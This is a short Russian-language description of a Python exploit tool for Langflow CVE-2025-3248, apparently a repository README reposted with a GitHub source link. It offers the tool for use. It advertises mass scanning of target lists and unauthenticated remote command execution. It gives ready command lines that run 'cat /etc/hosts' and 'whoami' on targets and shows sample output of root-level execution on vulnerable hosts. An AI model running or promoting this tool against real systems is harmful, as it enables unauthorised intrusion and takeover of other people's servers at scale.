Эксплойт для Langflow CVE-2025-3248

Эксплойт на Python для CVE-2025-3248, который позволяет удалённым неаутентифицированным злоумышленникам выполнять произвольный код на уязвимых экземплярах Langflow с помощью специально сформированных HTTP-запросов.

Возможности

• Сканирование одного URL или массовое сканирование из файла
• Автоматическое обнаружение уязвимости
• Возможность выполнения команд
• Подробный вывод с информацией о времени выполнения
• Сохранение результатов в отдельные файлы для уязвимых и неуязвимых целей
• Статистика производительности сканирования

Использование

Сканирование одного URL

python CVE-2025-3248.py http://target-url -c "cat /etc/hosts"

Массовое сканирование из файла

python CVE-2025-3248.py -f targets.txt

Выполнение произвольной команды

python CVE-2025-3248.py -f targets.txt -c "whoami"

Пример вывода

[*] Progress: 1/10 URLs checked
[*] Checking https://example.com
[+] Vulnerable - Command Output:
uid=0(root) gid=0(root) groups=0(root)
--------------------------------------------------

[*] Scan Summary:
[+] Total URLs checked: 10
[+] Vulnerable URLs: 3
[+] Not Vulnerable URLs: 7
[*] Total scan time: 25.34s
[*] Results saved to files with timestamp

источник: https://github.com/verylazytech